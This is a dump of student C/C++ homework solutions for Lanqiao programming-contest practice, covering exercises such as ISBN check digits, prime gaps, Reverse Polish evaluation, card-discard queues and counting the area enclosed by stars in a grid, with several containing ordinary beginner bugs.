cout << "the number of capital letter is: " << capital_letter << endl;
cout << "the number of small letter is: " << small_letter << endl;
cout << "the number of number character is: " << number_character << endl;
cout << "the number of sapce character is: " << space_character << endl;
cout << "the number of other character is: " << other_character << endl;
system("pause");
return 0;
}<file_sep>/2020备战蓝桥/吕经浪/第十次作业/10.6.cpp
#include <iostream>
using namespace std;
int main()
{
int a, b;
int i[1000];
int k, m;
int n = 0;
for (a = 2; a <= 1993; a++)
{
for (b = 2; b <= a / 2; b++)
{
if (a % b == 0)
break;
}
if (b == a / 2 + 1)
{
i[n] = a;
cout << i[n] << endl;
n = n + 1;
}
}
for (m = 0; i[m] <= 95; m++)
{
for (k = n - 1; i[k] >= 1898; k--)
{
if (i[k] - i[m] == 1898)
cout << i[m] << " " << i[k] << endl;
}
}
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第九次作业/9.4.cpp
/*Pell╩ř┴đ*/
#include<stdio.h>
#define N 10000
int f(int i);
int main()
{
int n,i,Pell[N];
scanf("%d",&n);
for(i=0;i<n;i++)
scanf("%d",&Pell[i]);
for(i=0;i<n;i++)
printf("%d\n",f(Pell[i]));
return 0;
}
int f(int i)
{
if(i==1) return 1;
else if(i==2) return 2;
else return 2*f(i-1)+f(i-2);
}
<file_sep>/2020备战蓝桥/朱力/第12次作业/12.1.cpp
//12.1
#include<bits/stdc++.h>
//参考网上没懂题目意思
using namespace std;
int Max[200];
vector<string> s[1010];
int read(){
int x=0,f=1;char ch=getchar();
for(;ch<'0'||ch>'9';ch=getchar())if(ch=='-')f=-1;
for(;ch>='0'&&ch<='9';ch=getchar())x=(x<<1)+(x<<3)+ch-'0';
return x*f;
}
int main(){
int n=0;string ss,buf;
while(getline(cin,ss)){
int t=0;
stringstream S(ss);
while(S>>buf){
Max[t]=max((int)buf.length(),Max[t]);//将每一列的长度
//最长的单词大小保存下来
s[n].push_back(buf);//将当前的单词加入向量中储存
t++;
}
n++;
}
cout<<setiosflags(ios::left);//将输出格式定义为左对齐输出
for(int i=0;i<n;i++){
int j=0;
for(j;j<s[i].size()-1;j++)
cout<<setw(Max[j]+1)<<s[i][j];//setw()将括号里的
//参数的大小
//作为输出的值占的位置大小
cout<<s[i][j]<<endl;
}
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/十一次作业/11-4.cpp
#include<iostream>
#include<cstring>
using namespace std;
string str;
int sum = 0;
void T4(int n)
{
if(str[n] >= '0' && str[n] <='9' )
sum++;
if(n > 0)
T4(n-1);
else
cout<<sum<<endl;
}
int main()
{
getline(cin,str);
int len = str.length();
T4(len-1);
return 0;
}
<file_sep>/2020备战蓝桥/黄杨/第十二次作业/5.cpp
#include <iostream>
#include <cstdlib>
#include <string>
#include <map>
#define INF 1E9
using namespace std;
map<string,bool> hash;
string s[120000];
int main()
{
int i,j;
int cnt=0;
hash.clear();
while(cin>>s[cnt])
{
hash[s[cnt]]=1;
cnt++;
}
string a,b;
for(i=0;i<cnt;i++)
for(j=0;j<s[i].size()-1;j++)
{
a=s[i].substr(0,j+1);
if(!hash[a])
continue;
b=s[i].substr(j+1);
if(!hash[b])
continue;
cout<<s[i]<<endl;
break;
}
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第十二次作业/12.3.cpp
#include<iostream.h>
#include<vector>
#include<string.h>
int main()
{
int n,i,j;
cin>>n;
int *arr1=new int[n];
int *arr2=new int[n-1];
for(i=0;i<n;i++)
{
arr1[i]=i+1;
}
for(i=0;i<n-1;i++)
{
arr2[i]=arr1[0];
for(j=0;j<n-i+1;j++)
{
arr1[j]=arr1[1+j];
}
int temp=arr1[0];
for(j=0;j<n-i-1;j++)
{
arr1[j]=arr1[j+1];
}
arr1[n-i-2]=temp;
}
cout<<"Discarded cards:";
for(i=0;i<n-1;i++)
cout<<arr2[i]<<" ";
cout<<endl;
cout<<"Remaining card:"<<arr1[0]<<endl;
return 0;
}<file_sep>/2020备战蓝桥/刘震/第十三次作业/13.4计算面积.cpp
/*编程计算由“*”号围成的下列图形的面积。面积计算方法是统计*号所围成的闭合曲线中水平线和垂直线交点的数目。
如下图所示,在10*10的二维数组中,有“*”围住了15个点,因此面积为15。*/
//用最笨的方法,暴力解法,发现不行
/*#include<iostream>
using namespace std;
int main()
{
int map[10][10] = {
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 1, 1, 1, 0, 0, 0},
{0, 0, 0, 0, 1, 0, 0, 1, 0, 0},
{0, 0, 0, 0, 0, 1, 0, 0, 1, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 1, 0},
{0, 1, 0, 1, 0, 1, 0, 0, 1, 0},
{0, 1, 0, 0, 1, 1, 0, 1, 1, 0},
{0, 0, 1, 0, 0, 0, 0, 1, 0, 0},
{0, 0, 0, 1, 1, 1, 1, 1, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0}};
int cnt = 0, bol = 0;;
//用最笨的方法,被星星包围的0其在x,y方向的两端都有一个1,一共有四个1
for (int i = 1; i < 10-1; i++)
{
for (int j = 1; j < 10 - 1; j++) //这是循环每一颗星星,在边界的星星就不用考虑了
{
bol = 0;
if (map[i][j] != 1)
{
for(int up=i-1;up>0;up--)
if (map[up][j] == 1) {
bol++;
break;
}
for(int down=i+1;down<10;down++)
if (map[down][j] == 1) {
bol++;
break;
}
for(int left=j-1;left>0;left--)
if (map[i][left] == 1) {
bol++;
break;
}
for(int right=j+1;right<10;right++)
if (map[i][right] == 1) {
bol++;
break;
}
if (bol == 4)
cnt++;
}
}
}
cout << cnt << endl;
system("pause");
return 0;
}
*/
#include<iostream>
using namespace std;
int main() {
int map[10][10] = {
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 1, 1, 1, 0, 0, 0},
{0, 0, 0, 0, 1, 0, 0, 1, 0, 0},
{0, 0, 0, 0, 0, 1, 0, 0, 1, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 1, 0},
{0, 1, 0, 1, 0, 1, 0, 0, 1, 0},
{0, 1, 0, 0, 1, 1, 0, 1, 1, 0},
{0, 0, 1, 0, 0, 0, 0, 1, 0, 0},
{0, 0, 0, 1, 1, 1, 1, 1, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0} };
int cnt = 0;
for (int i = 0; i < 10; i++) {
map[i][0] = -1;
map[i][9] = -1;
map[0][i] = -1;
map[9][i] = -1;
}
for (int i = 0; i < 10 ; i++)
{
for (int j = 0; j < 10 ; j++) //这是循环每一颗星星,在边界的星星就不用考虑了
{
if (map[i][j] == -1)
{
for (int up = i - 1; up > 0; up--)
if (map[up][j] == 0)
map[up][j] = -1;
else break;
for (int down = i + 1; down < 10; down++)
if (map[down][j] == 0)
map[down][j] = -1;
else break;
for (int left = j - 1; left > 0; left--)
if (map[i][left] == 0)
map[i][left] = -1;
else break;
for (int right = j + 1; right < 10; right++)
if (map[i][right] == 0)
map[i][right] = -1;
else break;
}
}
}
for (int i = 0; i < 10; i++)
for (int j = 0; j < 10; j++)
if (map[i][j] == 0)
cnt++;
cout << cnt << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十次作业/10.4.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
float f(float h, float n)
{
float sum=0;
if (n == 0)
{
sum = sum + h ;
cout << h << endl;
}
else
{
sum = sum + h + f(h / 2, n - 1);
}
return sum;
}
int main()
{
float h,n,sum;
cin >> h >> n;
sum=f(h/2,n-1)+h;
cout << sum << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第九次作业/9.7.cpp
/*7、判断元素是否存在(信息学奥赛一本通-T1211)*/
//思路:首先k是M中的元素,那么2k+1和2k+3也是M中的元素,那么2(2k+1)+1,2(3k+1)+1也是M中的元素....所以只用判断x能否用含k的这个函数是表达
//如果有一元素K,k的下两级元素为2K+1和3k+1,k的上两级元素为(k-1)/2和(k-1)/3
/*
#include<iostream>
using namespace std;
int x;
int f(int k);
int main()
{
int k,x;
cin>>k>>x;
if(f(k)) cout<<f(k)<<"Yes"<<endl;
else cout<<"No"<<endl;
return 0;
}
//x>k
int f(int k){
//cout<<k<<endl;
if(k==x&&k>0) return 1;
if(k<x&&x<100000)
{
f(2*k+1);
f(3*k+1);
}
if(k>x&&k>0)
{
return f((k-1)/2)||f((k-1)/3);
}
return 0;
}*/
//考虑K的元素集合边界不好找,从x的角度入手
#include<iostream>
using namespace std;
int x,k;
int f(int k);
int main()
{
cin>>k>>x;
if(f(x)) cout<<"Yes"<<endl;
else cout<<"No"<<endl;
return 0;
}
int f(int x){
//cout<<x<<endl;
int sum=0;
if(x==k) return 1;
if(x>k&&x>0)
{
if((x-1)%2==0)
{
sum+= f((x-1)/2); //不能返回这么早,要把所有的都遍历完才可以的,不然一直运行这里直到不满足条件的时候就返回0了
if(sum!=0) return 1;
}
if((x-1)%3==0)
{
sum+=f((x-1)/3);
if(sum!=0)return 1;
}
}
if(x<k)
{
if(x<=(k-1)/2)
{
sum+=f(2*x+1);
if(sum!=0) return 1;
}
if(x<=(k-1)/3)
{
sum+=f(3*x+1);
if(sum!=0) return 1;
}
}
return 0;
}
<file_sep>/2020备战蓝桥/陈富浩/第十一次作业/11.4.cpp
#include<iostream>
#include<string>
using namespace std;
int main()
{
int a=0,i;
string str;
cout<<"输入一行字符串:"<<endl;
getline(cin,str);
for(i=0;i<=str.length();i++)
{
if(str[i]>='0'&&str[i]<='9')
a++;
}
cout<<"数字字符个数:"<<a<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/9-3.cpp
#include<iostream>
using namespace std;
int ans;
void dfs(int m) //统计m所扩展出的数据个数
{
int i;
ans++; //每出现一个原数,累加器加1;
for (i = 1; i <= m / 2; i++) //左边添加不超过原数一半的自然数,作为新原数
dfs(i);
}
int main()
{
int n;
cin >> n;
dfs(n);
cout << ans << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十二次作业/12.2.cpp
#include <iostream>
using namespace std;
int a[20];
int sum(int n)
{
int i;
for (i = 0; i < n; i++)
{
if (a[i] != 0)
{
return 0;
}
}
return 1;
}
int main()
{
int t;
cin >> t;
while (t--)
{
int n;
int i, f = 1;
cin >> n;
for (i = 0; i < n; i++)
cin >> a[i];
int ans = 0;
while (ans <= 500)
{
int c = a[0];
for (i = 0; i < n - 1; i++)
a[i] = abs(a[i] - a[i + 1]);
a[n - 1] = abs(a[n - 1] - c);
if (sum(n)) { f = 0; break; }
ans++;
}
if (!f) printf("ZERO\n");
else printf("LOOP\n");
}
return 0;
}
<file_sep>/2020备战蓝桥/吕经浪/第十次作业/10.1.cpp
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main() {
string s;
char seq[10], chknum;
int len, weight = 1, sum = 0;
cin >> s;
len = s.length();
for (int i = 0; i < len - 2; ++i) {
if (s[i] == '-') continue;
sum += (s[i] - '0') * (weight++);
}
if (sum % 11 == 10) {
chknum = 'X';
}
else {
chknum = sum % 11 + '0';
}
if (chknum == s[len - 1]) cout << "Right" << endl;
else {
for (int i = 0; i < len - 1; ++i) {
cout << s[i];
}
cout << chknum << endl;
}
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/第十二次作业/12-4复合词.cpp
/*#include <iostream>
#include <map>
#include <set>
#include <queue>
#include <string>
#include <sstream>
#include <cstdio>
#include <cmath>
#include <vector>
#include <cstdlib>
#include <algorithm>
#include <cstring>
#include <stack>
using namespace std;
typedef vector<string> STRING;
map<string, int>dict; //判断单词存在与否
vector<string>ans, IN;
map<char, STRING> find_; //表示首字母为()的所有字符串
int main()
{
string s;
while (cin >> s)
{
IN.push_back(s);//存字符串,同时返回该元素出现的次数
if (!dict.count(s)) dict[s] = 0;
find_[s[0]].push_back(s);
}
for (int i = 0; i < IN.size(); i++)
{ //判断第i个字符串是否为复合词
int yes = 0;
string str = IN[i];
char first = str[0]; //第i个字符串的首字母
int len_all = str.length(); //第i个字符串的长度
for (int j = 0; j < find_[first].size(); j++)
{ //枚举首字母为first的所有字符串
string wait_to_find;
int k;
int len1 = find_[first][j].length();
if (len1 >= len_all)
continue;
for (k = 0; k < len1; k++)
if (str[k] != find_[first][j][k])
break;
if (k != len1)
continue;
for (k = 0; k < len_all - len1; k++)
wait_to_find.push_back(str[len1 + k]); //取出IN[i] - find_[first][j]的字符串
if (dict.count(wait_to_find))
{
yes = 1;
break;
} //判断IN[i] - find_[first][j] 是否为单词,如是则IN[i]为复合词
}
if (yes) ans.push_back(IN[i]);
}
for (int i = 0; i < ans.size(); i++)
cout << ans[i] << endl;
}
*/
<file_sep>/2020备战蓝桥/朱力/第十三次作业/main.cpp
#include <iostream>
#include <map>
//13.6
using namespace std;
int main()
{
int sum;
int i;
map<int,int> ms;
int num,m,n;
int k,total=1;
cin>>num>>k;
int b=k;
while(b){
cin>>m>>n;
ms.insert(pair<int, int>(m,n));
b--;
}
cout<<endl;
for(i=0;i<k;i++){
total=total*2;
}
cout<<total<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十次作业/10-1.cpp
#include<iostream>
using namespace std;
bool T1(char *s)
{
int sum = 0;
int j = 1;
for(int i=4;i<=14;i++)
{
if(s[i] == '-')
{
continue;
}
sum += (int(s[i])-48)*j;
j++;
}
if(sum%11 == 10)
{
if(s[16] == 'X')
return true;
else
return false;
}
else
{
if(sum%11 == (int(s[16])-48))
return true;
return false;
}
}
int main()
{
char s[100]={0};
while(cin>>s)
{
if(T1(s))
cout<<"True"<<endl;
else
cout<<"False"<<endl;
}
return 0;
}
<file_sep>/2020备战蓝桥/陈富浩/第十次作业/10.4.cpp
#include<stdio.h>
double main()
{
double hight,accum;
int n,i;
printf("输入球所在高度和落下的次数:\n");
scanf("%Lf%d",&hight,&n);
accum=hight;
for(i=1;i<=n;i++)
{
hight=hight/2;
accum+=hight*2;
}
accum-=hight*2;
printf("第%d次落地时共经过%Lf米\n第%d次反弹高度为%Lf米\n",n,accum,n,hight);
return 0;
}
<file_sep>/2020备战蓝桥/张宇菲/求解逆波兰表达式的值.cpp
#include<stdio.h>
#include<stdlib.h>
char a[55];
double cal()
{
scanf("%s",a);
if(a[0]=='+')
return cal()+cal();
else if(a[0]=='-')
return cal()-cal();
else if(a[0]=='*')
return cal()*cal();
else if(a[0]=='/')
return cal()/cal();
else
return atof(a);
}
int main()
{
printf("%f\n",cal());
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/第十二次作业/12-3卡片游戏.cpp
/*#include<iostream>
#include<queue>
using namespace std;
int main()
{
queue<int> Q;
int n;
{
cout << "input the cards:" << endl;
cin >> n;
for (int i = 0; i < n; i++)
Q.push(i + 1);
//for (int i = 0; i < n; i++)
//{
// cout << Q.front();
// Q.pop();
// }
int flag = 1;
cout << "the discard cards is:" << " ";
while (Q.size() != 1)
{
if (flag == 1)
{
cout << Q.front();
if (Q.size() != 2)
cout << ",";
}
else if (flag == -1)
{
Q.push(Q.front());
}
Q.pop();
flag = -flag;
}
cout << endl;
cout << "the remain card is:" << Q.front() << endl;
cout << endl;
system("pause");
return 0;
}
}
*/
<file_sep>/2020备战蓝桥/黄杨/第十次作业/1.cpp
#include<iostream>
using namespace std;
#define MaxSize 13
bool Check(char a[])
{
int i, j, sum = 0;
for (i=0, j=1; i<MaxSize-1; i++)
{
if (i!=1&&i!=6&&i!=11)
{
sum=sum+(a[i]-'0')*j;
j++;
}
}
if((a[MaxSize-1]-'0')==sum%11)
return true;
else if(a[MaxSize-1]=='X')
return true;
else
return false;
}
int main()
{
cout<<"请输入ISBN:";
char code[MaxSize];
cin>>code;
if(Check(code))
cout<<"True";
else
cout<<"False";
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第十次作业/10.6.cpp
#include <iostream>
#include<cstring>
using namespace std;
int j;
int fun(int a[],int i,int len)
{
int sum=0;
for(j=i;j<len;j++)
{
sum=sum+a[j];
if(sum==1898)
break;
}
return sum;
}
int main() {
int a[1000];
int n,m=1,i,h=0;
cout<<2<<' ';
a[0]=2;
for(n=3;n<=1993;n++)
{
for(i=2;i<=n;i++)
{
if(n%i==0)
break;
}
if(i==n)
{
cout<<n<<' ';
a[m]=n;
m++;
}
}
cout<<endl;
int *b=new int[m-1];
for(i=1;i<m;i++)
{
b[i-1]=a[i]-a[i-1];
cout<<(a[i]-a[i-1])<<' ';
}
for(i=0;i<m-1;i++){
if(fun(b,i,m-1)==1898)
h++;
}
cout<<endl;
cout<<"×ܸöÊý£º"<<h;
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十次作业/10.1.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
void f(char *s)
{
int a,i,m,sum=0,mod1,mod2;
char p[1];
cout << endl;
p[0] = s[9];
s[9] = '0';
a = atoi(s)/10;
if (s[0] == '0')m = 8;
else m = 9;
for (i = 0; i < m; i++)
{
mod1 = a % 10;
sum = sum + (9 - i)*mod1;
a = a / 10;
}
mod2 = sum % 11;
if (mod2 == 10 && p[0] == 'x')cout << '1';
else if (mod2 == atoi(p))cout << '1';
else cout << '0';
}
int main()
{
char s[10],m[1];
int i;
for (i = 0; i <= 9; i++)
{
if (i == 1 || i == 5 || i == 9)
{
m[0] = getch();
cout << '-';
}
s[i] = getch();
cout << s[i];
}
f(s);
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第九次作业/9.1.cpp
#include<iostream>
#include<cstdlib>
#include<cstdio>
using namespace std;
char a[100];
double f()
{
float num = 0, i, s, sum = 0;
cin >> a;
if (a[0] == '*') { return f()*f(); }
else if (a[0] == '+') { return f() + f(); }
else if (a[0] == '-') { return f() - f(); }
else if (a [0]== '/') { return f() / f(); }
else return atof(a);
return num;
}
int main()
{
double a;
a = f();
cout << a;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/谭彬智/第十三次作业/13.4.cpp
#include<iostream>
#include<queue>
using namespace std;
//题目说闭合曲线,表示两点之间只有一个通路(上下左右)
//在外圈增加一层0,这样每个点都有四条路
int main()
{
int a[12][12];
for(int i=1;i<11;i++)
for(int j=1;j<11;j++)
cin>>a[i][j];
for(i=0;i<12;i++)
{
a[0][i]=0;
a[11][i]=0;
a[i][0]=0;
a[i][11]=0;
}
int area=0;
//标记入栈下标
int itag=0;
int jtag=0;
queue<int> q1,q2;
for(i=1;i<11;i++)
{
if(!q1.empty()&&!q2.empty())
break;
for(int j=1;j<11;j++)
if(a[i][j]!=0)
{
//将该点下面一点入栈,从头开始遍历不为0的点只有下面的点可能符合要求
q1.push(i+1);
q2.push(j);
itag=i+1;
jtag=j;
break;
}
}
while(!q1.empty()&&!q2.empty())
{
i=q1.front();
int j=q2.front();
q1.pop();
q2.pop();
if(a[i][j]==0)
{
if(a[i-1][j]==1&&a[i][j-1]==1&&a[i+1][j]==1&&a[i][j+1]==0)//right
{
area++;
a[i][j]=1;
q1.push(i);
q2.push(j+1);
}
else if(a[i-1][j]==0&&a[i][j-1]==1&&a[i+1][j]==1&&a[i][j+1]==1)//high
{
area++;
a[i][j]=1;
q1.push(i-1);
q2.push(j);
}
else if(a[i-1][j]==1&&a[i][j-1]==0&&a[i+1][j]==1&&a[i][j+1]==1)//left
{
area++;
a[i][j]=1;
q1.push(i);
q2.push(j-1);
}
else if(a[i-1][j]==1&&a[i][j-1]==1&&a[i+1][j]==0&&a[i][j+1]==1)//low
{
area++;
a[i][j]=1;
q1.push(i+1);
q2.push(j);
}
else if(a[i-1][j]==1&&a[i][j-1]==1&&a[i+1][j]==1&&a[i][j+1]==1)
cout<<++area<<endl;
else
{
area=0;
if(jtag!=8)
{
q1.push(itag);
q2.push(++jtag);
}
else if(jtag==8)
{
q1.push(++itag);
q2.push(1);
}
}
}
else if(a[i][j]==1)
{
q1.push(i);
q2.push(j+1);
jtag++;
}
}
return 0;
}
<file_sep>/2020备战蓝桥/张谦煜/11-3/11-3.c
#include <stdio.h>
int main()
{
char* result =(char*)malloc(1000000*sizeof(char));
char ch = getchar();
int i = 0;
while (ch!='\n')
{
result[i++]=ch;
ch=getchar();
}
result[i]='\0';
printf("%s",result);
}<file_sep>/2020备战蓝桥/周鑫鹏/第十三次作业/task4.cpp
#include<iostream>
using namespace std;
typedef struct node
{
int num;
node* prev;
node* next;
}node;
typedef struct list
{
int size;
node* begin;
node* end;
}list;
node* Init(node* p1, node* p2, int n)
{
node* p3 = new node;
p3->prev = p1;
p3->next = p2;
p3->num = n;
return p3;
}
void inserttop(list* p,int n) //头部插入元素
{
node* a = new node;
a->next = p->begin;
p->begin->prev = a;
p->begin = a;
a->prev = NULL;
a->num = n;
p->size++;
}
void insertbefore(list* p, int n) //尾部插入元素
{
node* a = new node;
p->end->next = a;
a->prev = p->end;
p->end = a;
a->next = NULL;
a->num = n;
p->size++;
}
void insertback(list*p,node* n1,int n)//某个元素背后插入元素
{
node* a = new node;
n1->next->prev = a;
a->next = n1->next;
a->prev = n1;
n1->next = a;
a->num = n;
p->size++;
}
void remove(list*p,node* n)//删除
{
n->prev->next = n->next;
n->next->prev = n->prev;
p->size--;
}
node* find(list* p, int n) //查找元素,如果找到返回节点指针
{
node* it = p->begin;
while (it != NULL)
{
if (it->num == n)
break;
it = it->next;
}
return it;
}
void size(list* p)
{
cout << p->size << endl;
}
void ttraversal(list* p)
{
node* p1 = p->begin;
if (p1 == NULL)
cout << "空表" << endl;
while (p1 != NULL)
{
p1 = p1->next;
}
}
void etravesal(list* p)
{
node* p1 = p->end;
while (p1 != NULL)
{
p1 = p1->prev;
}
}
void modify(node* n, int a)
{
n->num = a;
}
void raorg(list* p)
{
node* t = p->begin;
p->begin = p->end;
p->end = t;
}
node* F(list*p,int m)
{
node* p1 = p->begin;
for (int i = 0; i < m; i++)
{
p1 = p1->next;
}
return p1;
}
void left(list* p, int a, int b) //把b移到a的左边
{
insertback(p,F(p, a)->prev, F(p, b)->num);
remove(p, F(p, b));
}
void right(list* p, int a, int b)//把a移到b的右边
{
insertback(p, F(p, b), F(p, a)->num);
remove(p, F(p, a));
}
int compare(list*p,int x, int y)//如果x在前返回0
{
node* p1 = find(p,x);
while (p1 != NULL)
{
if (p1->num == y)
return 0;
p1 = p1->next;
}
return 1;
}
void change(list* p, int x, int y)
{
find(p, x)->num = y;
find(p, y)->num = x;
}
int main()
{
int num1,num2;
cin >> num1>>num2;
int* a2 = new int[num2];
for (int i = 0; i < num2; i++)
cin >> a2[i];
node* n1=new node;
list* p = new list;
node* p1;
n1->next = NULL;
n1->prev = NULL;
n1->num = 1;
p->begin = n1;
p->end = n1;
p->size = 1;
for (int i = 1; i < num1; i++)
{
p1=Init(p->end, NULL, i+1);
p->end->next = p1;
p->end = p1;
p->size++;
}
int m, x,y;
for (int i = 0; i < num2; i++)
{
x = a2[i] / 10 % 10; y = a2[i] % 10;
m = a2[i] / 100;
switch (m)
{
case 1:if (compare(p, x,y ))
left(p, y,x);
break;
case 2:if (compare(p, x, y) == 0)
right(p, x, y);
break;
case 3:change(p, x, y); break;
case 0:raorg(p); break;
}
}
int s = 0;
node* p3 = p->begin;
while (p3 != NULL)
{
s += p3->num;
p3 = p3->next;
if (p3 == NULL)
break;
p3 = p3->next;
}
cout << s << endl;
}
<file_sep>/2020备战蓝桥/陈富浩/第十一次作业/11.1.cpp
#include<iostream>
#include<string>
using namespace std;
int main()
{
int a=0,b=0,c=0,d=0,e=0,i;
string str;
cout<<"输入一个字符串:"<<endl;
getline(cin,str);
for(i=0;i<str.length();i++)
{
if(str[i]>='A' && str[i]<='Z')
a++;
else if(str[i]>='a' && str[i]<='z')
b++;
else if(str[i]>='0'&&str[i]<='9')
c++;
else if(str[i]==' ')
d++;
else
e++;
}
cout<<"大写字母个数:"<<a<<endl;
cout<<"小写字母个数:"<<b<<endl;
cout<<"数字个数:"<<c<<endl;
cout<<"空格个数:"<<d<<endl;
cout<<"其他字符个数:"<<e<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十一次作业/11.5 设有语句.cpp
/*11.5 ΙθΣΠΣοΎδ*/
#include<iostream>
using namespace std;
int main()
{
int a, b;
float x, y;
char ch1, ch2, ch3;
cin >> a >> b >> x >> y >> ch1;
ch2 = cin.get();
cin >> ch3;
cout << a << ' ' << b << ' ' << x << ' ' << ' ' << y << ' ' << endl;
cout << "ch1:" << ch1 << '\n' << "ch2:" << ch2 << '\n' <<"ch3:"<< ch3 << endl;
system("pause");
return 0;
}<file_sep>/2020备战蓝桥/王浩杰/第十二次作业/12.6.cpp
#include<iostream>
#include<cstdlib>
#include<cstdio>
#include<algorithm>
using namespace std;
int q[100][100];
int p[100][100];
int w[100],T[100],Y[100];
void f1(int a,int b)
{
int j;
for (int i = 0; i <= b; i++) {
int min = i;
for (j = i + 1; j <= b; j++) {
if (p[a][min] > p[a][j]) min = j;
}
//交换
int temp = p[a][i];
p[a][i] = p[a][j];
p[a][j] = temp;
}
}
int f()
{
int b,n,m,o=0;
int a,j=3,d;
cin >> b;
for (int i = 0; i < b; i++)
{
cin >> n>>m;
T[m + 50]++;
if (T[m + 50] == 1)
{
Y[o] = m + 50;
o++;
}
q[m+50][n+50] = 1;
p[m + 50][w[m+50]] = n;
w[m + 50]++;
}
for (int i = 0; i <= o; i++)
{
a = Y[i];
f1(a,w[a]-1);
if (w[a] % 2 == 0)
{
for (int h = 0; h < w[a] / 2; h++)
{
if (h == 0) d = p[a][h] + p[a][w[a] - h - 1];
else if (p[a][h] + p[a][w[a] - h - 1] == d) j = 1;
else
{
j = 0;
break;
}
}
if (j == 0)break;
}
else
{
for (int h = 0; h < w[a] / 2; h++)
{
d = p[a][w[a] / 2 + 1];
if (p[a][h] + p[a][w[a] - h - 1] == d) j = 1;
else
{
j = 0;
break;
}
}
if (j == 0)break;
}
}
return j;
}
int main()
{
int a, b;
cin >> a;
for (int i = 0; i < a; i++)
{
b=f();
if (b = 0)cout << "NO";
else cout << "YES";
}
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/周鑫鹏/第十次作业/10_5.cpp
#include<stdio.h>
int main()
{
int a,b,c,s;
printf("输入年月日\n");
scanf("%d,%d,%d",&a,&b,&c);
if(a<1990)
printf("错误\n");
else
if(a=1990)
if(b<1)
printf("错误\n");
else
if(c<1)
printf("错误\n");
else
{
s=(a-1990)*365+(b-1)*30+(c-1);
if(s<=3)
printf("打鱼\n");
else
if(s<=5)
printf("晒网\n");
else
if(0<s%5<=3)
printf("打鱼\n");
else
printf("晒网");
}
return 0;
}<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.5.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
int m[25],n[25];
char q[100000];
void f()
{
}
int main()
{
int p = 0,d=0,b,c,e=0;
char a = '0';
while (a != '\r')
{
a = _getch();
if (a == '\r')break;
q[p] = a;
m[a - 97]++;
n[a - 97] = p;
p++;
}
for (int i = 0; i < 26; i++)
{
if (e==0 && m[i] == 1)
{
c = n[i];
e = 1;
}
else if (e == 1 && m[i] == 1)
{
d = n[i];
e = 0;
}
}
if (c == 0 && d == 0)
{
a = q[0];
if (n[a - 97] == 0)a = q[0];
else cout << "NO" << endl;
}
else if (c != 0 && d == 0)a = q[c];
else
{
b = c < d ? c : d;
a = q[b];
}
cout << a << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/朱力/第九次作业/源.cpp
#include <iostream>
#include <stdio.h>
using namespace std;
int h[1000];
int main()
{
int n;
cin >> n;
for (int i = 1; i <= n; i++)
{
h[i] = 1;
for (int j = 1; j <= i / 2; j++)
h[i] += h[j];
}
cout << h[n];
return 0;
}
/*
int main()
{
int n;
int a[1100];
cin >> n;
a[1] = 1;
a[2] = 2;
for (int i = 3; i <= n; i++)
{
if (i % 2 == 0)
a[i] = a[i - 1] + a[i / 2];
else
a[i] = a[i - 1];
}
cout << a[n] << endl;
return 0;
}
/*
int ni(int a)
{
int k = 0;
if (a < 10) {
k = a;
}
else if (a < 100) {
while (a >= 10) {
k = a % 10;
a = a / 10;
k = k * 10 + a;
}
}
return k;
}
int f(int a)
{
int ni(int);
a = ni(a);
int ban = a / 2;
for (int i = 1; i < ban; i++) {
a = a * 10 + i;
if (a < 1000)
printf("%d", ni(a));
}
return 0;
}
int main()
{
int ni(int);
int a;
cin >> a;
f(a);
return 0;
}
/*
int num = 1;
int pan(int a) //判位操作函数
{
if (a < 10)
return 10;
else if (a < 100)
return 100;
}
int f(int a) //移位函数
{
int pan(int);
int i;
for (i = 1; i < a / 2; i++) {
if ((pan(a) * i + a) < 1000) {
num++;
printf("NO.%d:%d\n", num, (pan(a) * i + a));
f()
}
}
return 0;
}
int main()
{
int f(int);
int a;
cin >> a;
cout <<"NO.1:"<<a << endl;
f(a);
return 0;
}
*/<file_sep>/2020备战蓝桥/曾琳/第十次作业/10-10.cpp
/*#include<stdio.h>
#include<stdlib.h>
int main()
{
int a[9], ii = 0, i, a1, a2, a3, a4, b1, b2, b3, b4, flag;
for (i = 1; i <= 8; i++)
{
printf("Please enter [%d]number:", i);
scanf("%d", &a[i]);
ii += a[i];
}
printf("******************************************\n");
if (ii % 2) /*和为奇数则输入的8个数不可用
{
printf("Sorry they can't be constructed required cube!\n");
exit(0);
}
for (flag = 0, a1 = 1; a1 <= 8; a1++) /*flag:完成标记.flag=1;表示完成
for (a2 = 1; a2 <= 8; a2++) /*采用八重循环建立八个整数的全排列
if (a2 != a1) /*前两个数不能相同
for (a3 = 1; a3 <= 8; a3++)
if (a3 != a2 && a3 != a1) /*前三个数不能相同
for (a4 = 1; a4 <= 8; a4++)
if (a4 != a3 && a4 != a2 && a4 != a1) /*前四个数不能相同
for (b1 = 1; b1 <= 8; b1++)
